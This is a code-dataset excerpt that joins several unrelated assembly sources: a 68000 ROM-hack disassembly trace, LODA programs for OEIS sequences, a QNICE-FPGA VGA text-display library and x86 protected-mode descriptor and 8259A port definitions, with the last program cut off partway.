02A76E clr.b ($83,A6) [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
02A772 move.b #$4, ($7b,A6)
02A778 move.b #$a, ($78,A6) [enemy+1B, enemy+3B, enemy+5B, enemy+7B, enemy+9B, enemy+BB]
02A7B0 beq $2a7ba [enemy+10, enemy+30, enemy+50, enemy+70, enemy+90, enemy+B0]
02A7BE bne $2a7f4 [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
02A7C8 lea ($23ea,PC) ; ($2cbb4), A0 [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
02A7D0 bne $2a7d8 [enemy+ C, enemy+2C, enemy+4C, enemy+6C, enemy+8C, enemy+AC]
02A80A bne $2a812 [enemy+ C, enemy+2C, enemy+4C, enemy+6C, enemy+8C, enemy+AC]
02A81C bne $2a83c [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
02A8EE move.w D0, ($1e,A6)
02A8F2 move.b #$1, ($51,A6)
02A8F8 clr.b ($83,A6) [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
02A8FC move.b #$4, ($7b,A6)
02A902 move.b #$a, ($78,A6) [enemy+1B, enemy+3B, enemy+5B, enemy+7B, enemy+9B, enemy+BB]
02A948 bne $2a97e [enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
02A952 lea ($2270,PC) ; ($2cbc4), A0 [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
02A95A bne $2a962 [enemy+ C, enemy+4C, enemy+8C, enemy+AC]
02AA7C bra $2aac6
02AA8C lea ($20b8,PC) ; ($2cb46), A1 [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
02ACF2 move.w D0, ($1e,A6)
02ACF6 bsr $2ad98
02AD00 move.b #$1, ($51,A6) [base+7B2]
02AD06 clr.b ($83,A6) [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
02AD0A move.b #$4, ($7b,A6)
02AD10 move.b #$a, ($78,A6) [enemy+1B, enemy+3B, enemy+5B, enemy+7B, enemy+9B, enemy+BB]
02AD4E move.b #$1, ($51,A6)
02AD54 lea ($1e7e,PC) ; ($2cbd4), A0 [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
02B31A blt $2b340 [enemy+ C, enemy+2C, enemy+AC]
02B326 clr.b ($51,A6) [enemy+ 0, enemy+20, enemy+40, enemy+60, enemy+80, enemy+A0]
02B32A move.w ($54,A6), D0 [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
02B32E add.w ($56,A6), D0
02B332 move.w D0, ($c,A6)
031416 add.w ($56,A6), D0
03141A move.w D0, ($c,A6)
03141E clr.b ($51,A6) [enemy+ C, enemy+2C, enemy+4C, enemy+6C, enemy+8C, enemy+AC, item+ C]
031422 rts [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1, item+51]
033D26 jsr $12cb4.l [enemy+26, enemy+46, enemy+86, enemy+A6]
033D32 move.b #$1, ($51,A6) [enemy+2C, enemy+4C, enemy+8C, enemy+AC]
033D38 move.b #$4, ($7b,A6) [enemy+11, enemy+31, enemy+71, enemy+91]
033D3E move.b #$a, ($78,A6) [enemy+3B, enemy+5B, enemy+9B, enemy+BB]
033D44 move.w #$600, D0 [enemy+38, enemy+58, enemy+98, enemy+B8]
033DA2 jsr $12cb4.l [enemy+ 4, enemy+44, enemy+64, enemy+A4]
033DB6 move.w ($16,A6), D0 [enemy+11, enemy+31, enemy+71, enemy+91]
03B9DA move.b #$1, ($51,A6) [enemy+2C, enemy+4C, enemy+6C, enemy+8C, enemy+AC]
03B9E0 move.b ($5b,A6), ($24,A6) [enemy+11, enemy+31, enemy+71, enemy+91, enemy+B1]
03B9E6 addq.b #2, ($5,A6)
03B9EA rts [enemy+25, enemy+45, enemy+65, enemy+85, enemy+A5]
03BC9A move.l #$2000200, ($4,A6)
03BCA2 move.b #$3c, ($80,A6) [enemy+ 4, enemy+ 6, enemy+24, enemy+26, enemy+44, enemy+46, enemy+64, enemy+66, enemy+84, enemy+86, enemy+A4, enemy+A6]
03BCA8 move.b #$78, ($b0,A6) [enemy+ 0, enemy+20, enemy+40, enemy+60, enemy+80, enemy+A0]
03BD40 bcc $3bd50 [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
03BD48 bsr $3cf36 [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
0414B6 move.w #$3c, ($a6,A6) [enemy+ 0, enemy+60, enemy+80]
0414BC move.b #$22, ($6,A6) [enemy+ 6, enemy+66, enemy+86]
0414C2 move.b #$1, ($51,A6) [enemy+26, enemy+46, enemy+86, enemy+A6]
0414C8 move.b #$34, ($58,A6) [enemy+11, enemy+31, enemy+71, enemy+91]
0414CE clr.b ($5a,A6) [enemy+18, enemy+38, enemy+78, enemy+98]
0414D2 clr.b ($59,A6)
04263E move.b D0, ($7a,A6)
042642 move.b D0, ($7b,A6)
042646 move.b D0, ($7d,A6)
04264A move.b D0, ($b1,A6)
04264E move.b #$2, ($a8,A6)
042654 move.b D0, ($bd,A6) [enemy+ 8, enemy+28, enemy+48, enemy+68, enemy+A8]
042658 move.w D0, ($aa,A6)
042B00 bsr $44eec [enemy+1A, enemy+3A, enemy+7A, enemy+9A, enemy+BA]
042B0A move.b #$3c, ($b4,A6) [enemy+12, enemy+32, enemy+52, enemy+72, enemy+B2]
042B10 clr.b ($b1,A6) [enemy+14, enemy+34, enemy+54, enemy+74, enemy+B4]
042B14 tst.b ($26,A6)
042DD4 move.w #$700, ($16,A6) [enemy+11, enemy+51, enemy+71, enemy+91, enemy+B1]
042DDA move.w #$ffc0, ($1c,A6) [enemy+16, enemy+36, enemy+56, enemy+76, enemy+96]
042DE0 moveq #$0, D2 [enemy+1C, enemy+3C, enemy+5C, enemy+7C, enemy+9C]
042E4A add.b D0, ($18,A6) [enemy+18, enemy+38, enemy+58, enemy+78, enemy+98]
042E4E clr.w ($1e,A6) [enemy+18, enemy+38, enemy+58, enemy+78, enemy+98]
042E52 rts
042E5A move.b #$a, ($80,A6) [enemy+11, enemy+31, enemy+51, enemy+B1]
042E60 subq.b #1, ($80,A6) [enemy+ 0, enemy+20, enemy+80, enemy+A0]
042E64 bcc $42e76 [enemy+ 0, enemy+20, enemy+80, enemy+A0]
042E76 rts [enemy+ 6, enemy+26, enemy+46, enemy+66]
042E7E move.b #$a, ($b1,A6) [enemy+ 6, enemy+26, enemy+46, enemy+66, enemy+86]
042E84 bsr $4488c [enemy+11, enemy+31, enemy+51, enemy+71, enemy+B1]
044ADC rts [enemy+11, enemy+31, enemy+51, enemy+B1]
046066 clr.w ($14,A6) [enemy+11, enemy+71, enemy+91, enemy+B1]
04606A clr.w ($1a,A6)
04606E move.w #$600, ($16,A6)
0461CE movea.w ($76,A6), A0 [enemy+11, enemy+31, enemy+71, enemy+91, enemy+B1]
0461E8 move.w ($10,A6), ($8a,A6) [enemy+ 8, enemy+48, enemy+68, enemy+88, enemy+A8]
0461EE bsr $46bcc [enemy+ A, enemy+4A, enemy+6A, enemy+8A, enemy+AA]
0461F6 bcs $4620a [enemy+11, enemy+31, enemy+71, enemy+91, enemy+B1]
0462B2 move.w D1, ($14,A6) [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
0462B6 clr.w ($1a,A6) [enemy+14, enemy+34, enemy+54, enemy+74, enemy+94, enemy+B4]
0462BA move.w #$780, ($16,A6)
04655A sub.w ($8,A6), D0 [123p+ 8]
046568 move.w D1, ($14,A6) [enemy+11, enemy+51, enemy+71, enemy+91]
04656C clr.w ($1a,A6) [enemy+14, enemy+34, enemy+54, enemy+94]
046570 move.w #$600, ($16,A6)
0466C6 tst.b ($24,A6) [enemy+11, enemy+51, enemy+91]
046850 move.w ($10,A0), D2 [enemy+48, enemy+88]
046858 move.b #$1, ($51,A6) [enemy+ A, enemy+4A, enemy+8A]
04685E move.w #$800, ($16,A6) [enemy+11, enemy+51, enemy+91]
046864 move.w #$ffb0, ($1c,A6) [enemy+16, enemy+56, enemy+96]
04686A moveq #$0, D2 [enemy+1C, enemy+5C, enemy+9C]
051312 move.b #$4, ($6,A6) [enemy+ 4, enemy+24, enemy+44, enemy+64, enemy+84, enemy+A4]
051318 move.b #$1, ($51,A6) [enemy+ 6, enemy+26, enemy+46, enemy+66, enemy+86, enemy+A6]
05131E move.w #$100, ($14,A6) [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
051324 move.w #$680, ($16,A6) [enemy+14, enemy+34, enemy+54, enemy+74, enemy+94, enemy+B4]
05132A move.w #$0, ($1a,A6) [enemy+16, enemy+36, enemy+56, enemy+76, enemy+96, enemy+B6]
055948 rts [enemy+44, enemy+84]
055954 move.b ($24,A1), ($24,A6) [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
05595A move.b #$8, ($22,A6) [enemy+ 4, enemy+24, enemy+44, enemy+64, enemy+84, enemy+A4]
055960 addi.w #$40, ($8,A6) [enemy+ 2, enemy+22, enemy+42, enemy+62, enemy+82, enemy+A2]
0559DE move.w #$ffc0, ($1c,A6)
0559E4 move.w #$0, ($1e,A6) [enemy+1C, enemy+3C, enemy+5C, enemy+9C, enemy+BC]
0559EA move.w #$0, ($18,A6)
0559F0 move.b #$1, ($51,A6)
0559F6 tst.b ($24,A6) [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91]
055A02 moveq #$20, D0
055E18 add.b D0, ($18,A6) [enemy+38, enemy+B8]
055E1C clr.w ($1e,A6) [enemy+38, enemy+B8]
055E20 rts
055E28 move.w #$280, ($16,A6) [enemy+11, enemy+71, enemy+91]
055E2E move.w #$ffe0, ($1c,A6) [enemy+36, enemy+56, enemy+96]
055E34 moveq #$0, D2 [enemy+3C, enemy+5C, enemy+9C]
05B39A rts
05B3A8 bra $5b3b2 [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
05B95C move.w D0, ($6e,A6) [enemy+ C, enemy+2C, enemy+4C, enemy+6C, enemy+8C, enemy+AC]
05B960 move.w D0, ($6a,A6) [enemy+ E, enemy+2E, enemy+4E, enemy+6E, enemy+8E, enemy+AE]
05B964 move.b #$1, ($51,A6) [enemy+ A, enemy+2A, enemy+4A, enemy+6A, enemy+8A, enemy+AA]
05B96A move.l #$5bae0, ($40,A6) [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
05B972 moveq #$0, D0 [enemy+ 0, enemy+ 2, enemy+20, enemy+22, enemy+40, enemy+42, enemy+60, enemy+62, enemy+80, enemy+82, enemy+A0, enemy+A2]
05BA16 jsr $119c.l [enemy+11, enemy+31, enemy+51, enemy+71, enemy+91, enemy+B1]
05EFEC clr.b ($a2,A6) [enemy+ 5, enemy+25, enemy+45, enemy+85]
05EFF0 clr.b ($25,A6)
05EFF4 move.b #$1, ($51,A6)
05EFFA move.w #$400, D1 [enemy+11, enemy+51, enemy+71, enemy+91]
copyright zengfr site:http://github.com/zengfr/romhack
| 62.898734
| 151
| 0.63071
|
ef77956f6c8fd9edfeb06689bdfa512df9b1adbe
| 299
|
asm
|
Assembly
|
programs/oeis/113/A113311.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/113/A113311.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/113/A113311.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A113311: Expansion of (1+x)^2/(1-x).
; 1,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4
mul $0,2
mov $1,$0
trn $0,3
sub $1,$0
add $1,1
| 33.222222
| 211
| 0.511706
|
d6be336f8ba0181b956190e43ff0c508ca6839fc
| 17,525
|
asm
|
Assembly
|
monitor/vga_library.asm
|
mfkiwl/QNICE-FPGA-hyperRAM
|
aabc8291ac1e0c4666c51f84acddf599d7521e53
|
[
"BSD-3-Clause"
] | 53
|
2016-04-12T07:22:49.000Z
|
2022-03-25T09:24:48.000Z
|
monitor/vga_library.asm
|
mfkiwl/QNICE-FPGA-hyperRAM
|
aabc8291ac1e0c4666c51f84acddf599d7521e53
|
[
"BSD-3-Clause"
] | 196
|
2020-06-05T04:59:50.000Z
|
2021-03-13T21:27:11.000Z
|
monitor/vga_library.asm
|
mfkiwl/QNICE-FPGA-hyperRAM
|
aabc8291ac1e0c4666c51f84acddf599d7521e53
|
[
"BSD-3-Clause"
] | 15
|
2017-07-31T11:26:56.000Z
|
2022-02-22T14:22:46.000Z
|
;
;;=======================================================================================
;; The collection of VGA related function starts here
;;=======================================================================================
;
;
;***************************************************************************************
;* VGA$INIT
;*
;* VGA on, hardware cursor on, large, blinking, reset current character coordinates
;***************************************************************************************
;
VGA$INIT INCRB
MOVE VGA$STATE, R0
MOVE 0x00E0, @R0 ; Enable everything
OR VGA$COLOR_GREEN, @R0 ; Set font color to green
OR VGA$EN_HW_SCRL, @R0 ; Enable offset registers
XOR R0, R0
MOVE _VGA$X, R1
MOVE R0, @R1 ; Reset X coordinate
MOVE VGA$CR_X, R1 ; Store it in VGA$CR_X
MOVE R0, @R1 ; ...and let the hardware know
MOVE _VGA$Y, R1
MOVE R0, @R1 ; The same with Y...
MOVE VGA$CR_Y, R1
MOVE R0, @R1
MOVE VGA$OFFS_DISPLAY, R1 ; Reset the display offset reg.
MOVE R0, @R1
MOVE VGA$OFFS_RW, R1 ; Reset the rw offset reg.
MOVE R0, @R1
DECRB
RET
;
;***************************************************************************************
;* VGA$CHAR_AT_XY
;*
;* R8: Contains character to be printed
;* R9: X-coordinate (0 .. 79)
;* R10: Y-coordinate (0 .. 39)
;*
;* Output a single char at a given coordinate pair.
;***************************************************************************************
;
VGA$CHAR_AT_XY INCRB
MOVE VGA$CR_X, R0
MOVE R8, @R0
MOVE VGA$CR_Y, R0
MOVE R9, @R0
MOVE VGA$CHAR, R0
MOVE R10, @R0
DECRB
RET
;
;***************************************************************************************
;* VGA$PUTCHAR
;*
;* Print a character to the VGA display. This routine automatically increments the
;* X- and, if necessary, the Y-coordinate. Scrolling is implemented - if the end of the
;* scroll buffer is reached after about 20 screen pages, the next character will cause
;* a CLS and then will be printed at location (0, 0) on screen page 0 again.
;*
;* This routine relies on the stored coordinates VGA$X and VGA$Y which always contain
;* the coordinate of the next (!) character to be displayed and will be updated
;* accordingly. This implies that it is possible to perform other character output and
;* cursor coordinate manipulation between two calls to VGA$PUTC without disturbing
;* the position of the next character to be printed.
;*
;* R8: Contains the character to be printed.
;***************************************************************************************
;
; TODO: \t
;
VGA$PUTCHAR INCRB
MOVE VGA$CR_X, R0 ; R0 points to the HW X-register
MOVE VGA$CR_Y, R1 ; R1 points to the HW Y-register
MOVE _VGA$X, R2 ; R2 points to the SW X-register
MOVE _VGA$Y, R3 ; R2 points to the SW Y-register
MOVE @R2, R4 ; R4 contains the current X-coordinate
MOVE @R3, R5 ; R5 contains the current Y-coordinate
MOVE R4, @R0 ; Set the HW X-coordinate
MOVE R5, @R1 ; Set the HW Y-coordinate
; Before we output anything, let us check for 0x0A and 0x0D:
CMP 0x000D, R8 ; Is it a CR?
RBRA _VGA$PUTC_NO_CR, !Z ; No
XOR R4, R4 ; CR -> Reset X-coordinate
RBRA _VGA$PUTC_END, 1 ; Update registers and exit
_VGA$PUTC_NO_CR CMP 0x000A, R8 ; Is it a LF?
RBRA _VGA$PUTC_NORMAL_CHAR, !Z ; No, so just a normal character
ADD 0x0001, R5 ; Increment Y-coordinate
MOVE VGA$MAX_Y, R7 ; To utilize the full screen, we need...
ADD 1, R7 ; ...to compare to 40 lines due to ADD 1, R5
CMP R7, R5 ; EOScreen reached?
RBRA _VGA$PUTC_END, !Z ; No, just update and exit
MOVE 0, R8 ; VGA$SCROLL_UP_1 in automatic mode
RSUB VGA$SCROLL_UP_1, 1 ; Yes, scroll one line up...
CMP 1, R8 ; Wrap-around/clrscr happened?
RBRA _VGA$PUTC_END_SKIP, Z ; Yes: Leave the function w/o rundown
SUB 0x0001, R5 ; No: Decrement Y-coordinate b/c we scrolled
;
MOVE VGA$OFFS_RW, R7 ; Take care of the rw offset register
ADD VGA$CHARS_PER_LINE, @R7
;
RBRA _VGA$PUTC_END, 1 ; Update registers and exit
_VGA$PUTC_NORMAL_CHAR MOVE VGA$CHAR, R6 ; R6 points to the HW char-register
MOVE R8, @R6 ; Output the character
; Now update the X- and Y-coordinate still contained in R4 and R5:
CMP VGA$MAX_X, R4 ; Have we reached the EOL?
RBRA _VGA$PUTC_1, !Z ; No
XOR R4, R4 ; Yes, reset X-coordinate to 0 and
CMP VGA$MAX_Y, R5 ; check if we have reached EOScreen
RBRA _VGA$PUTC_2, !Z ; No
MOVE 0, R8 ; VGA$SCROLL_UP_1 in automatic mode
RSUB VGA$SCROLL_UP_1, 1 ; Yes, scroll one line up...
CMP 1, R8 ; Wrap-around/clrscr happened?
RBRA _VGA$PUTC_END_SKIP, Z ; Yes: Leave the function w/o rundown
MOVE VGA$OFFS_RW, R7 ; Take care of the rw offset register
ADD VGA$CHARS_PER_LINE, @R7
RBRA _VGA$PUTC_END, 1 ; and finish
_VGA$PUTC_1 ADD 0x0001, R4 ; Just increment the X-coordinate
RBRA _VGA$PUTC_END, 1 ; and finish
_VGA$PUTC_2 ADD 0x0001, R5 ; Increment Y-coordinate and finish
; Rundown of the function
_VGA$PUTC_END MOVE R4, @R0 ; Update the HW coordinates to
MOVE R5, @R1 ; display cursor at next location
MOVE R4, @R2 ; Store current coordinates in
MOVE R5, @R3 ; _VGA$X and _VGA$Y
;
_VGA$PUTC_END_SKIP DECRB
RET
;
;***************************************************************************************
;* VGA$SCROLL_UP_1
;*
;* Scroll one line up - this function only takes care of the display offset, NOT
;* of the read/write offset!
;*
;* R8 (input): 0 = scroll due to calculations, 1 = scroll due to key press
;* R8 (output): 0 = standard exit; 1 = clear screen was performed
;***************************************************************************************
;
VGA$SCROLL_UP_1 INCRB
MOVE VGA$OFFS_DISPLAY, R0
MOVE VGA$OFFS_RW, R1
; calculate the new offset and only allow scrolling up, if ...
; a) ... the screen is full, i.e. we are at the
; last line, display offs = rw offs AND
; it is not the user who wants to scroll, but the system
; b) ... we scrolled down before, i.e. the display
; offset < rw offset AND it is not the system who wants
; to scroll, but the user (no autoscroll but content is
; appended at the bottom)
; c) ... we would not wrap at 64.000, but in such a case clear
; the screen at reset the offsets
MOVE 0, R3 ; perform a 32-bit subtraction...
MOVE @R0, R2 ; ...to find out, if display < rw...
MOVE 0, R5 ; ...(R3R2) = 32-bit enhanced display...
MOVE @R1, R4 ; ...(R5R4) = 32-bit enhanced rw
SUB R4, R2 ; ...result in (R3R2)...
SUBC R5, R3 ; ...if negative, then highest bit of R3...
SHL 1, R3 ; ...is set, so move upper bit to Carry...
RBRA _VGA$SCROLL_UP_1_CKR80, C ; ...because if Carry, then display < rw
CMP @R1, @R0 ; display = rw?
RBRA _VGA$SCROLL_UP_1_CKR81, Z ; yes: check R8
RBRA _VGA$SCROLL_UP_1_NOP, 1 ; it is >, so skip
; case display < rw
; automatic scrolling when new content is written to the end
; of the STDIN is disabled as soon as the user scrolled upwards
_VGA$SCROLL_UP_1_CKR80 CMP 0, R8
RBRA _VGA$SCROLL_UP_1_NOP, Z
RBRA _VGA$SCROLL_UP_1_DOIT, 1
; case display = offs
; do not scroll if the user wants to, but only if the
; system needs to due to a calculation result
_VGA$SCROLL_UP_1_CKR81 CMP 1, R8
RBRA _VGA$SCROLL_UP_1_NOP, Z
; avoid wrapping at 64.000: 60.800 is the last offset
; we can support before resetting everything as
; 64.000 - (80 x 40) = 60.800
CMP 60800, @R0 ; display = 60800?
RBRA _VGA$SCROLL_UP_1_DOIT, !Z ; no: scroll
RSUB VGA$CLS, 1 ; yes: clear screen...
MOVE 1, R8 ; set clrscr flag
RBRA _VGA$SCROLL_UP_1_END, 1 ; exit function
; perform the actual scrolling
_VGA$SCROLL_UP_1_DOIT ADD VGA$CHARS_PER_LINE, @R0
; if after the scrolling disp = rw, then show cursor
CMP @R1, @R0
RBRA _VGA$SCROLL_UP_1_NOP, !Z
MOVE VGA$STATE, R0
OR VGA$EN_HW_CURSOR, @R0
_VGA$SCROLL_UP_1_NOP MOVE 0, R8 ; no clrscr happened
_VGA$SCROLL_UP_1_END DECRB
RET
;
;***************************************************************************************
;* VGA$SCROLL_UP
;*
;* Scroll many lines up, smartly: As VGA$SCROLL_UP_1 is used in a loop, all cases
;* are automatically taken care of.
;*
;* R8 contains the amount of lines, R8 is not preserved
;***************************************************************************************
;
VGA$SCROLL_UP INCRB
MOVE R8, R0
_VGA$SCROLL_UP_LOOP MOVE 1, R8 ; use "manual" mode
RSUB VGA$SCROLL_UP_1, 1 ; perform scrolling
SUB 1, R0
RBRA _VGA$SCROLL_UP_LOOP, !Z
DECRB
RET
;
;***************************************************************************************
;* VGA$SCROLL_DOWN_1
;*
;* Scroll one line down
;***************************************************************************************
;
VGA$SCROLL_DOWN_1 INCRB
MOVE VGA$OFFS_DISPLAY, R0
; if the offset is 0, then do not scroll
MOVE @R0, R1
RBRA _VGA$SCROLL_DOWN_1_NOP, Z
; do the actual scrolling
SUB VGA$CHARS_PER_LINE, R1
MOVE R1, @R0
; hide the cursor
MOVE VGA$STATE, R0
NOT VGA$EN_HW_CURSOR, R1
AND R1, @R0
_VGA$SCROLL_DOWN_1_NOP DECRB
RET
;
;***************************************************************************************
;* VGA$SCROLL_DOWN
;*
;* Scroll many lines down, smartly: As VGA$SCROLL_DOWN_1 is used in a loop, all cases
;* are automatically taken care of.
;*
;* R8 contains the amount of lines, R8 is not preserved
;***************************************************************************************
;
VGA$SCROLL_DOWN INCRB
MOVE R8, R0
_VGA$SCROLL_DOWN_LOOP RSUB VGA$SCROLL_DOWN_1, 1 ; perform scrolling
SUB 1, R0
RBRA _VGA$SCROLL_DOWN_LOOP, !Z
DECRB
RET
;
;***************************************************************************************
;* VGA$SCROLL_HOME_END
;*
;* Uses the "_1" scroll routines to scroll to the very top ("Home") or to the very
;* bottom("End"). As we are looping the "_1" functions, all special cases are
;* automatically taken care of.
;*
;* R8 = 0: HOME R8 = 1: END
;***************************************************************************************
;
VGA$SCROLL_HOME_END INCRB
MOVE VGA$OFFS_DISPLAY, R0
MOVE VGA$OFFS_RW, R1
CMP 1, R8 ; scroll to END?
RBRA _VGA$SCRL_HOME_END_E, Z
; Scroll to the very top ("Home")
_VGA$SCRL_HOME_END_H CMP 0, @R0 ; Home reached?
RBRA _VGA$SCRL_HOME_END_EOF, Z ; yes
RSUB VGA$SCROLL_DOWN_1, 1 ; no: scroll down
RBRA _VGA$SCRL_HOME_END_H, 1
RBRA _VGA$SCRL_HOME_END_EOF, 1
; Scroll to the very bottom ("End")
_VGA$SCRL_HOME_END_E CMP @R1, @R0 ; End reached?
RBRA _VGA$SCRL_HOME_END_EOF, Z ; Yes
MOVE 1, R8 ; No: scroll up in ...
RSUB VGA$SCROLL_UP_1, 1 ; ... "manual" scrolling mode
RBRA _VGA$SCRL_HOME_END_E, 1
_VGA$SCRL_HOME_END_EOF DECRB
RET
;
;***************************************************************************************
;* VGA$CLS
;*
;* Clear the VGA-screen and place the cursor in the upper left corner.
;***************************************************************************************
;
VGA$CLS INCRB
XOR R0, R0
MOVE _VGA$X, R1 ; Clear the SW X-register
MOVE R0, @R1
MOVE _VGA$Y, R1 ; Clear the SW Y-register
MOVE R0, @R1
; Reset hardware cursor address
MOVE VGA$CR_X, R1 ; Store it in VGA$CR_X
MOVE R0, @R1 ; ...and let the hardware know
MOVE _VGA$Y, R1
MOVE R0, @R1 ; The same with Y...
; Reset scrolling registers
MOVE VGA$OFFS_DISPLAY, R1
MOVE R0, @R1
MOVE VGA$OFFS_RW, R1
MOVE R0, @R1
; Actually clear screen (and all screen pages in the video RAM)
MOVE VGA$STATE, R0
OR VGA$CLR_SCRN, @R0
; Wait until screen is cleared
_VGA$CLS_WAIT MOVE @R0, R1
AND VGA$CLR_SCRN, R1
RBRA _VGA$CLS_WAIT, !Z
DECRB
RET
| 51.544118
| 121
| 0.389615
|
f137c2e1931988a25690e6d8e5a533e831a56918
| 2,479
|
asm
|
Assembly
|
bl/common.asm
|
hszzz/toy-os
|
584c5722f1e58ebacaca75258ba701a7f52b8364
|
[
"MIT"
] | 7
|
2021-02-15T15:22:12.000Z
|
2022-02-15T01:46:37.000Z
|
bl/common.asm
|
hszzz/toy-os
|
584c5722f1e58ebacaca75258ba701a7f52b8364
|
[
"MIT"
] | 1
|
2021-04-01T13:55:25.000Z
|
2021-04-08T05:48:22.000Z
|
bl/common.asm
|
hszzz/toy-os
|
584c5722f1e58ebacaca75258ba701a7f52b8364
|
[
"MIT"
] | null | null | null |
; Segment Attribute
DA_32 equ 0x4000
DA_DR equ 0x90
DA_DRW equ 0x92
DA_DRWA equ 0x93
DA_C equ 0x98
DA_CR equ 0x9A
DA_CCO equ 0x9C
DA_CCOR equ 0x9E
DA_LIMIT_4K equ 0x8000
; page attribute
PG_P equ 1
PG_RWR equ 0
PG_RWW equ 2
PG_USS equ 0
PG_USU equ 4
; Selector Attribute
SA_RPL0 equ 0
SA_RPL1 equ 1
SA_RPL2 equ 2
SA_RPL3 equ 3
SA_TIG equ 0
SA_TIL equ 4
; LDT Attribute
DA_LDT equ 0x82
; Segment Privilege
DA_DPL0 equ 0x00
DA_DPL1 equ 0x20
DA_DPL2 equ 0x40
DA_DPL3 equ 0x60
; Gate Attribute
DA_TaskGate equ 0x85
DA_386TSS equ 0x89
DA_386CGate equ 0x8C
DA_386IGate equ 0x8E
DA_386TGate equ 0x8F
; Descriptor
; Descriptor Base, Limit, Attribute
%macro Descriptor 3
dw %2 & 0xFFFF
dw %1 & 0xFFFF
db (%1 >> 16) & 0xFF
dw ((%2 >> 8) & 0xF00) | (%3 & 0xF0FF)
db (%1 >> 24) & 0xFF
%endmacro
; Gate
; Gate Selector, Offset, DCount, Attribute
%macro Gate 4
dw (%2 & 0xFFFF)
dw %1
dw (%3 & 0x1F) | ((%4 << 8) & 0xFF00)
dw ((%2 >> 16) & 0xFFFF)
%endmacro
; 8259A Ports
MASTER_ICW1_PORT equ 0x20
MASTER_ICW2_PORT equ 0x21
MASTER_ICW3_PORT equ 0x21
MASTER_ICW4_PORT equ 0x21
MASTER_OCW1_PORT equ 0x21
MASTER_OCW2_PORT equ 0x20
MASTER_OCW3_PORT equ 0x20
SLAVE_ICW1_PORT equ 0xA0
SLAVE_ICW2_PORT equ 0xA1
SLAVE_ICW3_PORT equ 0xA1
SLAVE_ICW4_PORT equ 0xA1
SLAVE_OCW1_PORT equ 0xA1
SLAVE_OCW2_PORT equ 0xA0
SLAVE_OCW3_PORT equ 0xA0
MASTER_EOI_PORT equ 0x20
MASTER_IMR_PORT equ 0x21
MASTER_IRR_PORT equ 0x20
MASTER_ISR_PORT equ 0x20
SLAVE_EOI_PORT equ 0xA0
SLAVE_IMR_PORT equ 0xA1
SLAVE_IRR_PORT equ 0xA0
SLAVE_ISR_PORT equ 0xA0
; store GDT to shared momory
; so that kernel can load GDT dynamicly
; used to build processes
BaseOfSharedMemory equ 0xA000
GdtEntry equ BaseOfSharedMemory + 0
GdtSize equ BaseOfSharedMemory + 4
IdtEntry equ BaseOfSharedMemory + 8
IdtSize equ BaseOfSharedMemory + 12
RunTaskEntry equ BaseOfSharedMemory + 16
InitInterruptEntry equ BaseOfSharedMemory + 20
EnableTimerEntry equ BaseOfSharedMemory + 24
SendEOIEntry equ BaseOfSharedMemory + 28
LoadTaskEntry equ BaseOfSharedMemory + 32
| 23.386792
| 52
| 0.640581
|
c677859a6fa987e2c8a9e0eac25fb16c2d30d115
| 1,157
|
asm
|
Assembly
|
programs/oeis/164/A164096.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/164/A164096.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/164/A164096.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A164096: Partial sums of A164095.
; 5,11,21,33,53,77,117,165,245,341,501,693,1013,1397,2037,2805,4085,5621,8181,11253,16373,22517,32757,45045,65525,90101,131061,180213,262133,360437,524277,720885,1048565,1441781,2097141,2883573,4194293,5767157,8388597,11534325,16777205,23068661,33554421,46137333,67108853,92274677,134217717,184549365,268435445,369098741,536870901,738197493,1073741813,1476394997,2147483637,2952790005,4294967285,5905580021,8589934581,11811160053,17179869173,23622320117,34359738357,47244640245,68719476725,94489280501,137438953461,188978561013,274877906933,377957122037,549755813877,755914244085,1099511627765,1511828488181,2199023255541,3023656976373,4398046511093,6047313952757,8796093022197,12094627905525,17592186044405,24189255811061,35184372088821,48378511622133,70368744177653,96757023244277,140737488355317,193514046488565,281474976710645,387028092977141,562949953421301,774056185954293,1125899906842613,1548112371908597,2251799813685237,3096224743817205,4503599627370485,6192449487634421,9007199254740981
mov $1,5
mov $3,6
lpb $0,1
sub $0,1
